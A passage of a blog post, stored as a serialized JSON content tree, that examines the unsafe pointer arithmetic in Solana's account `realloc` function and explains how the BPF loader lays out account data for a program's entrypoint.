"type":28,"value":588},{"type":22,"tag":118,"props":16068,"children":16069},{"style":146},[16070],{"type":28,"value":1215},{"type":22,"tag":118,"props":16072,"children":16073},{"style":131},[16074],{"type":28,"value":583},{"type":22,"tag":118,"props":16076,"children":16077},{"style":125},[16078],{"type":28,"value":588},{"type":22,"tag":118,"props":16080,"children":16081},{"style":146},[16082],{"type":28,"value":1215},{"type":22,"tag":118,"props":16084,"children":16085},{"style":210},[16086],{"type":28,"value":11815},{"type":22,"tag":118,"props":16088,"children":16089},{"style":146},[16090],{"type":28,"value":188},{"type":22,"tag":118,"props":16092,"children":16093},{"style":131},[16094],{"type":28,"value":583},{"type":22,"tag":118,"props":16096,"children":16097},{"style":125},[16098],{"type":28,"value":682},{"type":22,"tag":118,"props":16100,"children":16101},{"class":120,"line":384},[16102,16106,16110,16114,16118,16122,16126],{"type":22,"tag":118,"props":16103,"children":16104},{"style":210},[16105],{"type":28,"value":9756},{"type":22,"tag":118,"props":16107,"children":16108},{"style":204},[16109],{"type":28,"value":15933},{"type":22,"tag":118,"props":16111,"children":16112},{"style":210},[16113],{"type":28,"value":837},{"type":22,"tag":118,"props":16115,"children":16116},{"style":204},[16117],{"type":28,"value":15942},{"type":22,"tag":118,"props":16119,"children":16120},{"style":146},[16121],{"type":28,"value":10829},{"type":22,"tag":118,"props":16123,"children":16124},{"style":131},[16125],{"type":28,"value":583},{"type":22,"tag":118,"props":16127,"children":16128},{"style":125},[16129],{"type":28,"value":801},{"type":22,"tag":118,"props":16131,"children":16132},{"class":120,"line":417},[16133],{"type":22,"tag":118,"props":16134,"children":16135},{"style":125},[16136],{"type":28,"value":1254},{"type":22,"tag":118,"props":16138,"children":16139},{"class":120,"line":425},[16140],{"type":22,"tag":118,"props":16141,"children":16142},{"emptyLinePlaceholder":15},[16143],{"type":28,"value":250},{"type":22,"tag":118,"props":16145,"children":16146},{"class":120,"line":441},[16147],{"type":22,"tag":118,"props":16148,"children":16149},{"style":257},[16150],{"type":28,"value":16151},"    // zero-init if requested\n",{"type":22,"tag":118,"props":16153,"children":16154},{"class":120,"line":475},[16155,16159,16164,16168,16172,16177,16181],{"type":22,"tag":118,"props":16156,"children":16157},{"style":1480},[16158],{"type":28,"value":2159},{"type":22,"tag":118,"props":16160,"children":16161},{"style":204},[16162],{"type":28,"value":16163}," zero_init",{"type":22,"tag":118,"props":16165,"children":16166},{"style":210},[16167],{"type":28,"value":1789},{"type":22,"tag":118,"props":16169,"children":16170},{"style":204},[16171],{"type":28,"value":15942},{"type":22,"tag":118,"props":16173,"children":16174},{"style":210},[16175],{"type":28,"value":16176}," >",{"type":22,"tag":118,"props":16178,"children":16179},{"style":204},[16180],{"type":28,"value":15775},{"type":22,"tag":118,"props":16182,"children":16183},{"style":125},[16184],{"type":28,"value":1474},{"type":22,"tag":118,"props":16186,"children":16187},{"class":120,"line":484},[16188,16193],{"type":22,"tag":118,"props":16189,"children":16190},{"style":532},[16191],{"type":28,"value":16192},"        sol_memset",{"type":22,"tag":118,"props":16194,"children":16195},{"style":125},[16196],{"type":28,"value":696},{"type":22,"tag":118,"props":16198,"children":16199},{"class":120,"line":492},[16200,16204,16208,16212,16216,16220,16224,16228,16232,16237,16241],{"type":22,"tag":118,"props":16201,"children":16202},{"style":210},[16203],{"type":28,"value":705},{"type":22,"tag":118,"props":16205,"children":16206},{"style":146},[16207],{"type":28,"value":188},{"type":22,"tag":118,"props":16209,"children":16210},{"style":146},[16211],{"type":28,"value":2100},{"type":22,"tag":118,"props":16213,"children":16214},{"style":210},[16215],{"type":28,"value":292},{"type":22,"tag":118,"props":16217,"children":16218},{"style":532},[16219],{"type":28,"value":15859},{"type":22,"tag":118,"props":16221,"children":16222},{"style":125},[16223],{"type":28,"value":1200},{"type":22,"tag":118,"props":16225,"children":16226},{"style":210},[16227],{"type":28,"value":796},{"type":22,"tag":118,"props":16229,"children":16230},{"style":125},[16231],{"type":28,"value":5746},{"type":22,"tag":118,"props":16233,"children":16234},{"style":204},[16235],{"type":28,"value":16236},"orig_len",{"type":22,"tag":118,"props":16238,"children":16239},{"style":210},[16240],{"type":28,"value":5079},{"type":22,"tag":118,"props":16242,"children":16243},{"style":125},[16244],{"type":28,"value":16245},"],\n",{"type":22,"tag":118,"props":16247,"children":16248},{"class":120,"line":501},[16249,16254],{"type":22,"tag":118,"props":16250,"children":16251},{"style":674},[16252],{"type":28,"value":16253},"            0",{"type":22,"tag":118,"props":16255,"children":16256},{"style":125},[16257],{"type":28,"value":782},{"type":22,"tag":118,"props":16259,"children":16260},{"class":120,"line":519},[16261,16266,16270,16275,16279,16283],{"type":22,"tag":118,"props":16262,"children":16263},{"style":204},[16264],{"type":28,"value":16265},"            new_len",{"type":22,"tag":118,"props":16267,"children":16268},{"style":210},[16269],{"type":28,"value":292},{"type":22,"tag":118,"props":16271,"children":16272},{"style":532},[16273],{"type":28,"value":16274},"saturating_sub",{"type":22,"tag":118,"props":16276,"children":16277},{"style":125},[16278],{"type":28,"value":540},{"type":22,"tag":118,"props":16280,"children":16281},{"style":204},[16282],{"type":28,"value":16236},{"type":22,"tag":118,"props":16284,"children":16285},{"style":125},[16286],{"type":28,"value":3853},{"type":22,"tag":118,"props":16288,"children":16289},{"class":120,"line":606},[16290],{"type":22,"tag":118,"props":16291,"children":16292},{"style":125},[16293],{"type":28,"value":9748},{"type":22,"tag":118,"props":16295,"children":16296},{"class":120,"line":615},[16297],{"type":22,"tag":118,"props":16298,"children":16299},{"style":125},[16300],{"type":28,"value":1254},{"type":22,"tag":118,"props":16302,"children":16303},{"class":120,"line":685},[16304],{"type":22,"tag":118,"props":16305,"children":16306},{"emptyLinePlaceholder":15},[16307],{"type":28,"value":250},{"type":22,"tag":118,"props":16309,"children":16310},{"class":120,"line":699},[16311,16315],{"type":22,"tag":118,"props":16312,"children":16313},{"style":131},[16314],{"type":28,"value":2542},{"type":22,"tag":118,"props":16316,"children":16317},{"style":125},[16318],{"type":28,"value":1245},{"type":22,"tag":118,"props":16320,"children":16321},{"class":120,"line":729},[16322],{"type":22,"tag":118,"props":16323,"children":16324},{"style":125},[16325],{"type":28,"value":481},{"type":22,"tag":31,"props":16327,"children":16328},{},[16329,16331,16337,16339,16344],{"type":28,"value":16330},"Oh. There's ",{"type":22,"tag":114,"props":16332,"children":16334},{"className":16333},[],[16335],{"type":28,"value":16336},"unsafe",{"type":28,"value":16338},". And no bounds check in sight. ",{"type":22,"tag":4764,"props":16340,"children":16341},{},[16342],{"type":28,"value":16343},"And",{"type":28,"value":16345}," pointer math. That doesn't look promising...",{"type":22,"tag":23,"props":16347,"children":16349},{"id":16348},"breaking-down-realloc",[16350,16352],{"type":28,"value":16351},"Breaking down ",{"type":22,"tag":114,"props":16353,"children":16355},{"className":16354},[],[16356],{"type":28,"value":15632},{"type":22,"tag":31,"props":16358,"children":16359},{},[16360,16362,16367],{"type":28,"value":16361},"Let's pick apart this ",{"type":22,"tag":114,"props":16363,"children":16365},{"className":16364},[],[16366],{"type":28,"value":16336},{"type":28,"value":16368}," block, since there's a lot going on here.",{"type":22,"tag":107,"props":16370,"children":16372},{"className":109,"code":16371,"language":111,"meta":7,"style":7},"// First set new length in the serialized data\nlet ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n*ptr = new_len as u64;\n",[16373],{"type":22,"tag":114,"props":16374,"children":16375},{"__ignoreMap":7},[16376,16384,16471],{"type":22,"tag":118,"props":16377,"children":16378},{"class":120,"line":121},[16379],{"type":22,"tag":118,"props":16380,"children":16381},{"style":257},[16382],{"type":28,"value":16383},"// First set new length in the serialized data\n",{"type":22,"tag":118,"props":16385,"children":16386},{"class":120,"line":142},[16387,16391,16395,16399,16403,16407,16411,16415,16419,16423,16427,16431,16435,16439,16443,16447,16451,16455,16459,16463,16467],{"type":22,"tag":118,"props":16388,"children":16389},{"style":146},[16390],{"type":28,"value":3149},{"type":22,"tag":118,"props":16392,"children":16393},{"style":204},[16394],{"type":28,"value":15842},{"type":22,"tag":118,"props":16396,"children":16397},{"style":210},[16398],{"type":28,"value":837},{"type":22,"tag":118,"props":16400,"children":16401},{"style":146},[16402],{"type":28,"value":2100},{"type":22,"tag":118,"props":16404,"children":16405},{"style":210},[16406],{"type":28,"value":292},{"type":22,"tag":118,"props":16408,"children":16409},{"style":532},[16410],{"type":28,"value":15859},{"type":22,"tag":118,"props":16412,"children":16413},{"style":125},[16414],{"type":28,"value":1200},{"type":22,"tag":118,"props":16416,"children":16417},{"style":210},[16418],{"type":28,"value":1205},{"type":22,"tag":118,"props":16420,"children":16421},{"style":532},[16422],{"type":28,"value":15872},{"type":22,"tag":118,"props":16424,"children":16425},{"style":125},[16426],{"type":28,"value":1200},{"type":22,"tag":118,"props":16428,"children":16429},{"style":210},[16430],{"type":28,"value":292},{"type":22,"tag":118,"props":16432,"children":16433},{"style":532},[16434],{"type":28,"value":15885},{"type":22,"tag":118,"props":16436,"children":16437},{"style":125},[16438],{"type":28,"value":540},{"type":22,"tag":118,"props":16440,"children":16441},{"style":210},[16442],{"type":28,"value":6340},{"type":22,"tag":118,"props":16444,"children":16445},{"style":674},[16446],{"type":28,"value":6090},{"type":22,"tag":118,"props":16448,"children":16449},{"style":125},[16450],{"type":28,"value":588},{"type":22,"tag":118,"props":16452,"children":16453},{"style":146},[16454],{"type":28,"value":1215},{"type":22,"tag":118,"props":16456,"children":16457},{"style":210},[16458],{"type":28,"value":11815},{"type":22,"tag":118,"props":16460,"children":16461},{"style":146},[16462],{"type":28,"value":188},{"type":22,"tag":118,"props":16464,"children":16465},{"style":131},[16466],{"type":28,"value":583},{"type":22,"tag":118,"props":16468,"children":16469},{"style":125},[16470],{"type":28,"value":801},{"type":22,"tag":118,"props":16472,"children":16473},{"class":120,"line":177},[16474,16478,16482,16486,16490,16494,16498],{"type":22,"tag":118,"props":16475,"children":16476},{"style":210},[16477],{"type":28,"value":671},{"type":22,"tag":118,"props":16479,"children":16480},{"style":204},[16481],{"type":28,"value":15933},{"type":22,"tag":118,"props":16483,"children":16484},{"style":210},[16485],{"type":28,"value":837},{"type":22,"tag":118,"props":16487,"children":16488},{"style":204},[16489],{"type":28,"value":15942},{"type":22,"tag":118,"props":16491,"children":16492},{"style":146},[16493],{"type":28,"value":10829},{"type":22,"tag":118,"props":16495,"children":16496},{"style":131},[16497],{"type":28,"value":583},{"type":22,"tag":118,"props":16499,"children":16500},{"style":125},[16501],{"type":28,"value":801},{"type":22,"tag":31,"props":16503,"children":16504},{},[16505,16510],{"type":22,"tag":114,"props":16506,"children":16508},{"className":16507},[],[16509],{"type":28,"value":15859},{"type":28,"value":16511}," returns a mutable reference to the underlying buffer holding the data of the account. Normally in the course of contract execution, this comes from the serialized buffer passed into the contract by the BPF loader. So before we can understand the details here, let's take a quick detour...",{"type":22,"tag":1289,"props":16513,"children":16515},{"id":16514},"bpf-loader-abi",[16516],{"type":28,"value":16517},"BPF Loader ABI",{"type":22,"tag":31,"props":16519,"children":16520},{},[16521,16523,16528,16530,16543],{"type":28,"value":16522},"Solana smart contracts have one job: interact with on-chain accounts. So what's the interface between the contract and the rest of the chain? To answer that, we're going to take a look at ",{"type":22,"tag":114,"props":16524,"children":16526},{"className":16525},[],[16527],{"type":28,"value":15647},{"type":28,"value":16529},"'s entrypoint code - the code that's added when you use the ",{"type":22,"tag":42,"props":16531,"children":16534},{"href":16532,"rel":16533},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#116-131",[46],[16535,16541],{"type":22,"tag":114,"props":16536,"children":16538},{"className":16537},[],[16539],{"type":28,"value":16540},"entrypoint!",{"type":28,"value":16542}," macro",{"type":28,"value":213},{"type":22,"tag":107,"props":16545,"children":16547},{"className":109,"code":16546,"language":111,"meta":7,"style":7},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64 {\n    let (program_id, accounts, instruction_data) =\n        unsafe { $crate::entrypoint::deserialize(input) };\n    match $process_instruction(&program_id, &accounts, &instruction_data) {\n        Ok(()) => $crate::entrypoint::SUCCESS,\n        Err(error) => error.into(),\n    }\n}\n",[16548],{"type":22,"tag":114,"props":16549,"children":16550},{"__ignoreMap":7},[16551,16559,16631,16673,16725,16784,16825,16868,16875],{"type":22,"tag":118,"props":16552,"children":16553},{"class":120,"line":121},[16554],{"type":22,"tag":118,"props":16555,"children":16556},{"style":125},[16557],{"type":28,"value":16558},"#[no_mangle]\n",{"type":22,"tag":118,"props":16560,"children":16561},{"class":120,"line":142},[16562,16566,16571,16576,16581,16585,16590,16594,16598,16602,16606,16610,16615,16619,16623,16627],{"type":22,"tag":118,"props":16563,"children":16564},{"style":146},[16565],{"type":28,"value":149},{"type":22,"tag":118,"props":16567,"children":16568},{"style":146},[16569],{"type":28,"value":16570}," unsafe",{"type":22,"tag":118,"props":16572,"children":16573},{"style":146},[16574],{"type":28,"value":16575}," extern",{"type":22,"tag":118,"props":16577,"children":16578},{"style":1866},[16579],{"type":28,"value":16580}," \"C\"",{"type":22,"tag":118,"props":16582,"children":16583},{"style":146},[16584],{"type":28,"value":529},{"type":22,"tag":118,"props":16586,"children":16587},{"style":532},[16588],{"type":28,"value":16589}," entrypoint",{"type":22,"tag":118,"props":16591,"children":16592},{"style":125},[16593],{"type":28,"value":540},{"type":22,"tag":118,"props":16595,"children":16596},{"style":204},[16597],{"type":28,"value":10369},{"type":22,"tag":118,"props":16599,"children":16600},{"style":210},[16601],{"type":28,"value":213},{"type":22,"tag":118,"props":16603,"children":16604},{"style":210},[16605],{"type":28,"value":11815},{"type":22,"tag":118,"props":16607,"children":16608},{"style":146},[16609],{"type":28,"value":188},{"type":22,"tag":118,"props":16611,"children":16612},{"style":131},[16613],{"type":28,"value":16614}," u8",{"type":22,"tag":118,"props":16616,"children":16617},{"style":125},[16618],{"type":28,"value":588},{"type":22,"tag":118,"props":16620,"children":16621},{"style":210},[16622],{"type":28,"value":593},{"type":22,"tag":118,"props":16624,"children":16625},{"style":131},[16626],{"type":28,"value":583},{"type":22,"tag":118,"props":16628,"children":16629},{"style":125},[16630],{"type":28,"value":1474},{"type":22,"tag":118,"props":16632,"children":16633},{"class":120,"line":177},[16634,16638,16642,16647,16651,16655,16659,16664,16668],{"type":22,"tag":118,"props":16635,"children":16636},{"style":146},[16637],{"type":28,"value":4152},{"type":22,"tag":118,"props":16639,"children":16640},{"style":125},[16641],{"type":28,"value":842},{"type":22,"tag":118,"props":16643,"children":16644},{"style":204},[16645],{"type":28,"value":16646},"program_id",{"type":22,"tag":118,"props":16648,"children":16649},{"style":125},[16650],{"type":28,"value":231},{"type":22,"tag":118,"props":16652,"children":16653},{"style":204},[16654],{"type":28,"value":648},{"type":22,"tag":118,"props":16656,"children":16657},{"style":125},[16658],{"type":28,"value":231},{"type":22,"tag":118,"props":16660,"children":16661},{"style":204},[16662],{"type":28,"value":16663},"instruction_data",{"type":22,"tag":118,"props":16665,"children":16666},{"style":125},[16667],{"type":28,"value":588},{"type":22,"tag":118,"props":16669,"children":16670},{"style":210},[16671],{"type":28,"value":16672},"=\n",{"type":22,"tag":118,"props":16674,"children":16675},{"class":120,"line":195},[16676,16681,16685,16689,16694,16698,16703,16707,16712,16716,16720],{"type":22,"tag":118,"props":16677,"children":16678},{"style":146},[16679],{"type":28,"value":16680},"        unsafe",{"type":22,"tag":118,"props":16682,"children":16683},{"style":125},[16684],{"type":28,"value":11584},{"type":22,"tag":118,"props":16686,"children":16687},{"style":210},[16688],{"type":28,"value":12287},{"type":22,"tag":118,"props":16690,"children":16691},{"style":146},[16692],{"type":28,"value":16693},"crate",{"type":22,"tag":118,"props":16695,"children":16696},{"style":210},[16697],{"type":28,"value":1190},{"type":22,"tag":118,"props":16699,"children":16700},{"style":125},[16701],{"type":28,"value":16702},"entrypoint",{"type":22,"tag":118,"props":16704,"children":16705},{"style":210},[16706],{"type":28,"value":1190},{"type":22,"tag":118,"props":16708,"children":16709},{"style":532},[16710],{"type":28,"value":16711},"deserialize",{"type":22,"tag":118,"props":16713,"children":16714},{"style":125},[16715],{"type":28,"value":540},{"type":22,"tag":118,"props":16717,"children":16718},{"style":204},[16719],{"type":28,"value":10369},{"type":22,"tag":118,"props":16721,"children":16722},{"style":125},[16723],{"type":28,"value":16724},") };\n",{"type":22,"tag":118,"props":16726,"children":16727},{"class":120,"line":244},[16728,16733,16738,16743,16747,16751,16755,16759,16763,16767,16771,16775,16779],{"type":22,"tag":118,"props":16729,"children":16730},{"style":1480},[16731],{"type":28,"value":16732},"    match",{"type":22,"tag":118,"props":16734,"children":16735},{"style":210},[16736],{"type":28,"value":16737}," $",{"type":22,"tag":118,"props":16739,"children":16740},{"style":204},[16741],{"type":28,"value":16742},"process_instruction",{"type":22,"tag":118,"props":16744,"children":16745},{"style":125},[16746],{"type":28,"value":540},{"type":22,"tag":118,"props":16748,"children":16749},{"style":210},[16750],{"type":28,"value":1407},{"type":22,"tag":118,"props":16752,"children":16753},{"style":204},[16754],{"type":28,"value":16646},{"type":22,"tag":118,"props":16756,"children":16757},{"style":125},[16758],{"type":28,"value":231},{"type":22,"tag":118,"props":16760,"children":16761},{"style":210},[16762],{"type":28,"value":1407},{"type":22,"tag":118,"props":16764,"children":16765},{"style":204},[16766],{"type":28,"value":648},{"type":22,"tag":118,"props":16768,"children":16769},{"style":125},[16770],{"type":28,"value":231},{"type":22,"tag":118,"props":16772,"children":16773},{"style":210},[16774],{"type":28,"value":1407},{"type":22,"tag":118,"props":16776,"children":16777},{"style":204},[16778],{"type":28,"value":16663},{"type":22,"tag":118,"props":16780,"children":16781},{"style":125},[16782],{"type":28,"value":16783},") {\n",{"type":22,"tag":118,"props":16785,"children":16786},{"class":120,"line":253},[16787,16791,16796,16800,16804,16808,16812,16816,16820],{"type":22,"tag":118,"props":16788,"children":16789},{"style":131},[16790],{"type":28,"value":1240},{"type":22,"tag":118,"props":16792,"children":16793},{"style":125},[16794],{"type":28,"value":16795},"(()) ",{"type":22,"tag":118,"props":16797,"children":16798},{"style":210},[16799],{"type":28,"value":1616},{"type":22,"tag":118,"props":16801,"children":16802},{"style":210},[16803],{"type":28,"value":16737},{"type":22,"tag":118,"props":16805,"children":16806},{"style":146},[16807],{"type":28,"value":16693},{"type":22,"tag":118,"props":16809,"children":16810},{"style":210},[16811],{"type":28,"value":1190},{"type":22,"tag":118,"props":16813,"children":16814},{"style":125},[16815],{"type":28,"value":16702},{"type":22,"tag":118,"props":16817,"children":16818},{"style":210},[16819],{"type":28,"value":1190},{"type":22,"tag":118,"props":16821,"children":16822},{"style":125},[16823],{"type":28,"value":16824},"SUCCESS,\n",{"type":22,"tag":118,"props":16826,"children":16827},{"class":120,"line":263},[16828,16833,16837,16842,16846,16850,16855,16859,16864],{"type":22,"tag":118,"props":16829,"children":16830},{"style":131},[16831],{"type":28,"value":16832},"        Err",{"type":22,"tag":118,"props":16834,"children":16835},{"style":125},[16836],{"type":28,"value":540},{"type":22,"tag":118,"props":16838,"children":16839},{"style":204},[16840],{"type":28,"value":16841},"error",{"type":22,"tag":118,"props":16843,"children":16844},{"style":125},[16845],{"type":28,"value":588},{"type":22,"tag":118,"props":16847,"children":16848},{"style":210},[16849],{"type":28,"value":1616},{"type":22,"tag":118,"props":16851,"children":16852},{"style":204},[16853],{"type":28,"value":16854}," error",{"type":22,"tag":118,"props":16856,"children":16857},{"style":210},[16858],{"type":28,"value":292},{"type":22,"tag":118,"props":16860,"children":16861},{"style":532},[16862],{"type":28,"value":16863},"into",{"type":22,"tag":118,"props":16865,"children":16866},{"style":125},[16867],{"type":28,"value":768},{"type":22,"tag":118,"props":16869,"children":16870},{"class":120,"line":318},[16871],{"type":22,"tag":118,"props":16872,"children":16873},{"style":125},[16874],{"type":28,"value":1254},{"type":22,"tag":118,"props":16876,"children":16877},{"class":120,"line":351},[16878],{"type":22,"tag":118,"props":16879,"children":16880},{"style":125},[16881],{"type":28,"value":481},{"type":22,"tag":31,"props":16883,"children":16884},{},[16885,16887,16892,16894,16900,16902,16909,16911,16916,16918,16925],{"type":28,"value":16886},"What we see here is the contract's real entrypoint - it takes a ",{"type":22,"tag":114,"props":16888,"children":16890},{"className":16889},[],[16891],{"type":28,"value":5439},{"type":28,"value":16893}," buffer in from the loader, and calls ",{"type":22,"tag":114,"props":16895,"children":16897},{"className":16896},[],[16898],{"type":28,"value":16899},"solana_program::entrypoint::deserialize",{"type":28,"value":16901},", which then ",{"type":22,"tag":42,"props":16903,"children":16906},{"href":16904,"rel":16905},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#281-337",[46],[16907],{"type":28,"value":16908},"parses out",{"type":28,"value":16910}," all the ",{"type":22,"tag":114,"props":16912,"children":16914},{"className":16913},[],[16915],{"type":28,"value":3028},{"type":28,"value":16917},"s, instruction data, and the current running program ID. We can see how the data buffer is ",{"type":22,"tag":42,"props":16919,"children":16922},{"href":16920,"rel":16921},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316",[46],[16923],{"type":28,"value":16924},"laid out",{"type":28,"value":213},{"type":22,"tag":107,"props":16927,"children":16929},{"className":109,"code":16928,"language":111,"meta":7,"style":7},"#[allow(clippy::cast_ptr_alignment)]\nlet data_len = *(input.add(offset) as *const u64) as usize;\noffset += size_of::\u003Cu64>();\n\nlet data = Rc::new(RefCell::new({\n    from_raw_parts_mut(input.add(offset), data_len)\n}));\noffset += data_len + MAX_PERMITTED_DATA_INCREASE;\noffset += (offset as *const u8).align_offset(BPF_ALIGN_OF_U128); // padding\n",[16930],{"type":22,"tag":114,"props":16931,"children":16932},{"__ignoreMap":7},[16933,16950,17030,17063,17070,17117,17162,17170,17194],{"type":22,"tag":118,"props":16934,"children":16935},{"class":120,"line":121},[16936,16941,16945],{"type":22,"tag":118,"props":16937,"children":16938},{"style":125},[16939],{"type":28,"value":16940},"#[allow(clippy",{"type":22,"tag":118,"props":16942,"children":16943},{"style":210},[16944],{"type":28,"value":1190},{"type":22,"tag":118,"props":16946,"children":16947},{"style":125},[16948],{"type":28,"value":16949},"cast_ptr_alignment)]\n",{"type":22,"tag":118,"props":16951,"children":16952},{"class":120,"line":142},[16953,16957,16962,16966,16970,16974,16978,16982,16986,16990,16994,16998,17002,17006,17010,17014,17018,17022,17026],{"type":22,"tag":118,"props":16954,"children":16955},{"style":146},[16956],{"type":28,"value":3149},{"type":22,"tag":118,"props":16958,"children":16959},{"style":204},[16960],{"type":28,"value":16961}," data_len",{"type":22,"tag":118,"props":16963,"children":16964},{"style":210},[16965],{"type":28,"value":837},{"type":22,"tag":118,"props":16967,"children":16968},{"style":210},[16969],{"type":28,"value":11815},{"type":22,"tag":118,"props":16971,"children":16972},{"style":125},[16973],{"type":28,"value":540},{"type":22,"tag":118,"props":16975,"children":16976},{"style":204},[16977],{"type":28,"value":10369},{"type":22,"tag":118,"props":16979,"children":16980},{"style":210},[16981],{"type":28,"value":292},{"type":22,"tag":118,"props":16983,"children":16984},{"style":532},[16985],{"type":28,"value":11636},{"type":22,"tag":118,"props":16987,"children":16988},{"style":125},[16989],{"type":28,"value":540},{"type":22,"tag":118,"props":16991,"children":16992},{"style":204},[16993],{"type":28,"value":15885},{"type":22,"tag":118,"props":16995,"children":16996},{"style":125},[16997],{"type":28,"value":588},{"type":22,"tag":118,"props":16999,"children":17000},{"style":146},[17001],{"type":28,"value":1215},{"type":22,"tag":118,"props":17003,"children":17004},{"style":210},[17005],{"type":28,"value":11815},{"type":22,"tag":118,"props":17007,"children":17008},{"style":146},[17009],{"type":28,"value":11653},{"type":22,"tag":118,"props":17011,"children":17012},{"style":131},[17013],{"type":28,"value":583},{"type":22,"tag":118,"props":17015,"children":17016},{"style":125},[17017],{"type":28,"value":588},{"type":22,"tag":118,"props":17019,"children":17020},{"style":146},[17021],{"type":28,"value":1215},{"type":22,"tag":118,"props":17023,"children":17024},{"style":131},[17025],{"type":28,"value":3946},{"type":22,"tag":118,"props":17027,"children":17028},{"style":125},[17029],{"type":28,"value":801},{"type":22,"tag":118,"props":17031,"children":17032},{"class":120,"line":177},[17033,17037,17042,17047,17051,17055,17059],{"type":22,"tag":118,"props":17034,"children":17035},{"style":204},[17036],{"type":28,"value":15885},{"type":22,"tag":118,"props":17038,"children":17039},{"style":210},[17040],{"type":28,"value":17041}," +=",{"type":22,"tag":118,"props":17043,"children":17044},{"style":532},[17045],{"type":28,"value":17046}," size_of",{"type":22,"tag":118,"props":17048,"children":17049},{"style":210},[17050],{"type":28,"value":1190},{"type":22,"tag":118,"props":17052,"children":17053},{"style":125},[17054],{"type":28,"value":559},{"type":22,"tag":118,"props":17056,"children":17057},{"style":131},[17058],{"type":28,"value":10046},{"type":22,"tag":118,"props":17060,"children":17061},{"style":125},[17062],{"type":28,"value":10454},{"type":22,"tag":118,"props":17064,"children":17065},{"class":120,"line":195},[17066],{"type":22,"tag":118,"props":17067,"children":17068},{"emptyLinePlaceholder":15},[17069],{"type":28,"value":250},{"type":22,"tag":118,"props":17071,"children":17072},{"class":120,"line":244},[17073,17077,17082,17086,17091,17095,17099,17104,17108,17112],{"type":22,"tag":118,"props":17074,"children":17075},{"style":146},[17076],{"type":28,"value":3149},{"type":22,"tag":118,"props":17078,"children":17079},{"style":204},[17080],{"type":28,"value":17081}," data",{"type":22,"tag":118,"props":17083,"children":17084},{"style":210},[17085],{"type":28,"value":837},{"type":22,"tag":118,"props":17087,"children":17088},{"style":131},[17089],{"type":28,"value":17090}," Rc",{"type":22,"tag":118,"props":17092,"children":17093},{"style":210},[17094],{"type":28,"value":1190},{"type":22,"tag":118,"props":17096,"children":17097},{"style":532},[17098],{"type":28,"value":4256},{"type":22,"tag":118,"props":17100,"children":17101},{"style":125},[17102],{"type":28,"value":17103},"(RefCell",{"type":22,"tag":118,"props":17105,"children":17106},{"style":210},[17107],{"type":28,"value":1190},{"type":22,"tag":118,"props":17109,"children":17110},{"style":532},[17111],{"type":28,"value":4256},{"type":22,"tag":118,"props":17113,"children":17114},{"style":125},[17115],{"type":28,"value":17116},"({\n",{"type":22,"tag":118,"props":17118,"children":17119},{"class":120,"line":253},[17120,17125,17129,17133,17137,17141,17145,17149,17154,17158],{"type":22,"tag":118,"props":17121,"children":17122},{"style":532},[17123],{"type":28,"value":17124},"    from_raw_parts_mut",{"type":22,"tag":118,"props":17126,"children":17127},{"style":125},[17128],{"type":28,"value":540},{"type":22,"tag":118,"props":17130,"children":17131},{"style":204},[17132],{"type":28,"value":10369},{"type":22,"tag":118,"props":17134,"children":17135},{"style":210},[17136],{"type":28,"value":292},{"type":22,"tag":118,"props":17138,"children":17139},{"style":532},[17140],{"type":28,"value":11636},{"type":22,"tag":118,"props":17142,"children":17143},{"style":125},[17144],{"type":28,"value":540},{"type":22,"tag":118,"props":17146,"children":17147},{"style":204},[17148],{"type":28,"value":15885},{"type":22,"tag":118,"props":17150,"children":17151},{"style":125},[17152],{"type":28,"value":17153},"), ",{"type":22,"tag":118,"props":17155,"children":17156},{"style":204},[17157],{"type":28,"value":3300},{"type":22,"tag":118,"props":17159,"children":17160},{"style":125},[17161],{"type":28,"value":3665},{"type":22,"tag":118,"props":17163,"children":17164},{"class":120,"line":263},[17165],{"type":22,"tag":118,"props":17166,"children":17167},{"style":125},[17168],{"type":28,"value":17169},"}));\n",{"type":22,"tag":118,"props":17171,"children":17172},{"class":120,"line":318},[17173,17177,17181,17185,17189],{"type":22,"tag":118,"props":17174,"children":17175},{"style":204},[17176],{"type":28,"value":15885},{"type":22,"tag":118,"props":17178,"children":17179},{"style":210},[17180],{"type":28,"value":17041},{"type":22,"tag":118,"props":17182,"children":17183},{"style":204},[17184],{"type":28,"value":16961},{"type":22,"tag":118,"props":17186,"children":17187},{"style":210},[17188],{"type":28,"value":10905},{"type":22,"tag":118,"props":17190,"children":17191},{"style":125},[17192],{"type":28,"value":17193}," MAX_PERMITTED_DATA_INCREASE;\n",{"type":22,"tag":118,"props":17195,"children":17196},{"class":120,"line":351},[17197,17201,17205,17209,17213,17217,17221,17225,17229,17233,17237,17242,17247],{"type":22,"tag":118,"props":17198,"children":17199},{"style":204},[17200],{"type":28,"value":15885},{"type":22,"tag":118,"props":17202,"children":17203},{"style":210},[17204],{"type":28,"value":17041},{"type":22,"tag":118,"props":17206,"children":17207},{"style":125},[17208],{"type":28,"value":842},{"type":22,"tag":118,"props":17210,"children":17211},{"style":204},[17212],{"type":28,"value":15885},{"type":22,"tag":118,"props":17214,"children":17215},{"style":146},[17216],{"type":28,"value":10829},{"type":22,"tag":118,"props":17218,"children":17219},{"style":210},[17220],{"type":28,"value":11815},{"type":22,"tag":118,"props":17222,"children":17223},{"style":146},[17224],{"type":28,"value":11653},{"type":22,"tag":118,"props":17226,"children":17227},{"style":131},[17228],{"type":28,"value":16614},{"type":22,"tag":118,"props":17230,"children":17231},{"style":125},[17232],{"type":28,"value":3627},{"type":22,"tag":118,"props":17234,"children":17235},{"style":210},[17236],{"type":28,"value":292},{"type":22,"tag":118,"props":17238,"children":17239},{"style":532},[17240],{"type":28,"value":17241},"align_offset",{"type":22,"tag":118,"props":17243,"children":17244},{"style":125},[17245],{"type":28,"value":17246},"(BPF_ALIGN_OF_U128); ",{"type":22,"tag":118,"props":17248,"children":17249},{"style":257},[17250],{"type":28,"value":17251},"// padding\n",{"type":22,"tag":31,"props":17253,"children":17254},{},[17255,17257,17262,17264,17270,17272,17283,17285,17290,17292,17298,17300,17306,17307,17313],{"type":28,"value":17256},"In English, we have the length of the data, as a ",{"type":22,"tag":114,"props":17258,"children":17260},{"className":17259},[],[17261],{"type":28,"value":10046},{"type":28,"value":17263},", followed immediately by the data, and an additional 